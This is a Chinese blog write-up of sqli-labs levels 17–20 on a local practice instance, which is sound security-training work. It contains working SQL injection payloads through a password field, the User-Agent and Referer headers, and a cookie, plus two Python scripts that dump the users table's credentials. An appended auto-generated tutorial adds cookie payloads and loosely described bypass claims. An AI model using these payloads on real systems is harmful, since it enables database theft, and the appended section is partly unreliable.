sqli-labs less17-20

本文深入探讨SQL注入技术,包括利用PHP函数弱点、updatexml函数进行错误注入、HEADER及COOKIE字段的注入技巧,以及实战案例分析。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

LESS 17 基于错误的UPDATE查询

源码中的几个php函数:

  • get_magic_quotes_gpc()

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“ ”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误

get_magic_quotes_gpc()就是取得php环境变量magic_quotes_gpc的值

  • addslashes() & stripslashes()

addslashes() 函数在指定的预定义字符前添加反斜杠:
单引号 (‘),双引号 (“),反斜杠 (),NULL

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

  • ctype_digit()

检测字符串中的字符是否都是数字,负数和小数会检测不通过,这是验证是否正整数的函数简单方法

  • mysql_real_escape_string()

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

  • intval(mixed $var [, int $base ])

通过使用特定的进制转换(默认是十进制),参数base表示进制,只有当var是字符串时,base才会有意义,表示按照base进制来对var进行转换,返回变量 var 的 integer 数值

通过源码可以得知,后台对输入的uname,如果是字符串,则先用mysql_real_escape_string()函数转义,再用单引号包裹,但是没有对passwd字段做处理,所以可以考虑对passwd字段进行注入,最后经过了解,发现这里需要使用updatexml报错注入

MYSQL函数:UPDATEXML(XML_document, XPath_string, new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值

如果XPath_string的值不是XPath格式的字符串,则会报错:

> select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~10.1.32-MariaDB~'

 

构造paylod(username填任意一个用户名都可):

User Name : admin
New Password : ‘ where username = updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);#

报错:

XPATH syntax error: ‘~10.1.32-MariaDB~’

于是按照例行步骤

User Name : admin
New Password : ‘ where username = updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1);#

结果:XPATH syntax error: ‘~emails,referers,uagents,users~’

脚本爆破:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-17/"

i = 0
while True:
    data = {"uname":"admin", "passwd":"' where username = updatexml(1,concat(0x7e,(select username from users limit "+str(i)+",1),0x7e,(select password from users limit "+str(i)+",1),0x7e),1);#"}
    response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
    info = re.search(r"~.+~", response)
    if(info == None):
        break
    else:
        print(info.group())
    i += 1

 

结果:

~Dumb~Dumb~
~Angelina~I-kill-you~
~Dummy~p@ssword~
~secure~crappy~
~stupid~stupidity~
~superman~genious~
~batman~mob!le~
~admin~admin~
~admin1~admin1~
~admin2~admin2~
~admin3~admin3~
~dhakkan~dumbo~
~admin4~admin4~

LESS 18 HEADER注入-Uagent字段

本关登录前会显示IP地址,登录后显示request数据包的header字段
查看源码发现在显示header之前使用INSERT语句将header数据插入到uagents表中,考虑到可以在insert语句中使用updatexml函数报错,所以这里使用抓包工具修改header字段:

POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: localhost
Content-Length: 38
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: ‘ or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or ‘
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://localhost/sqli-labs-master/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.536075346.1526537016
Connection: close

uname=admin&passwd=admin&submit=Submit

结果:

Your User Agent is: ‘ or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or ‘


XPATH syntax error: ‘~10.1.32-MariaDB~’

接下来的步骤和上一关相同,脚本:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-18/"

i = 0
while True:
    data = {"uname": "admin", "passwd": "admin"}
    header = {"User-Agent": "' or updatexml(1,concat(0x7e,(select username from users limit "+str(i)+",1),0x7e,(select password from users limit "+str(i)+",1),0x7e),1) or '"}
    req = request.Request(url, data = parse.urlencode(data).encode(), headers = header)
    response = request.urlopen(req).read().decode()
    info = re.search(r"~.+~", response)
    if(info == None):
        break
    else:
        print(info.group())
    i += 1

 

LESS 19 HEADER注入-Referer字段

这关登录成功后显示的是header里的Referer字段,所以把上一关的User-Agent改成Referer即可成功,原理和上一关是一样的

LESS 20 COOKIE注入

源码中的判断语句有些长,梳理一下:

  1. 判断Cookie中的uname是否被设置,若没有,返回的是登录前界面,这里对username和password都做了输入检查,登陆成功后发放Cookie
  2. 若uname非空,则再判断submit是否被设置(即有Cookie的用户是否选择删除Cookie),若没有,则用uname作参数查询数据库并返回相应信息
  3. 若submit非空(即用户点击Delete Cookie按钮),则删除Cookie(即设置Cookie有效时间为负值)

由于未对cookie做输入检查,同时select语句使用了cookie的uname值
所以修改cookie为:
Cookie: uname=’ union select 1,2,3#; _ga=GA1.1.536075346.1526537016

结果

Your Login name:2
Your Password:3
Your ID:1

继续:

Cookie: uname=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#;

Cookie: uname=’ union select 1,group_concat(username),group_concat(password) from users#;

Cookie: uname=’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’#;

Cookie: uname=’ union select group_concat(id),group_concat(username),group_concat(password) from users#;

结果:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Your ID:1,2,3,4,5,6,7,8,9,10,11,12,14

https://soporbear.github.io/2018/06/01/sqli-lab-less17-22/

### sqli-labs less20 实验教程 #### 了解目标环境 sqli-labs 是一个用于学习和实践 SQL 注入技术的平台。Less-20 关卡专注于通过 `Cookie` 进行 SQL 注入攻击[^3]。 #### 准备工作 确保已经安装并配置好 PHP 和 MySQL 环境,并且成功部署了 sqli-labs 平台。访问 Less-20 页面,观察其 URL 结构以及如何处理请求参数。 #### 测试注入点 尝试修改浏览器发送给服务器的 HTTP 请求头中的 `Cookie` 字段来测试是否存在漏洞。具体来说,在原始 `Cookie` 值后面附加恶意负载以探测数据库结构或提取敏感数据。 例如,可以通过篡改 `uname` 的值来进行联合查询(UNION SELECT),从而获取当前使用的数据库名称: ```http GET /sqli/Less-20/ HTTP/1.1 Host: localhost ... Cookie: uname=admin' UNION ALL SELECT NULL,database(),NULL-- ``` 上述 Payload 利用了闭合单引号 `'` 来结束预期输入,并紧接着执行新的 SQL 片段;两个连续破折线 `--` 表示注释掉后续部分以防报错中断整个语句。 #### 提升技巧:绕过简单防护措施 当面对某些基本防御机制时——比如自动转义特殊字符函数如 mysql_real_escape_string() ,可以考虑采用宽字节编码等方式构造有效载荷实现突破[^2]。 对于本关而言,则是利用 Base64 编码后的字符串作为用户名传递给应用程序,以此规避潜在过滤规则的影响。实际操作过程中需注意调整编码方式匹配后台解析逻辑。 #### 获取更多细节信息 一旦确认存在可被利用之处后,便能进一步挖掘其他有用情报,像枚举出 users 表内的字段名列表那样: ```sql Cookie: uname=<base64_encoded_payload> ``` 其中 `<base64_encoded_payload>` 应替换为经过适当转换得到的结果,形似如下所示: ```plaintext admin') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'# ``` 这会返回 user 表中所有的列名作为一个单一字符串输出到页面上供分析人员查看。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值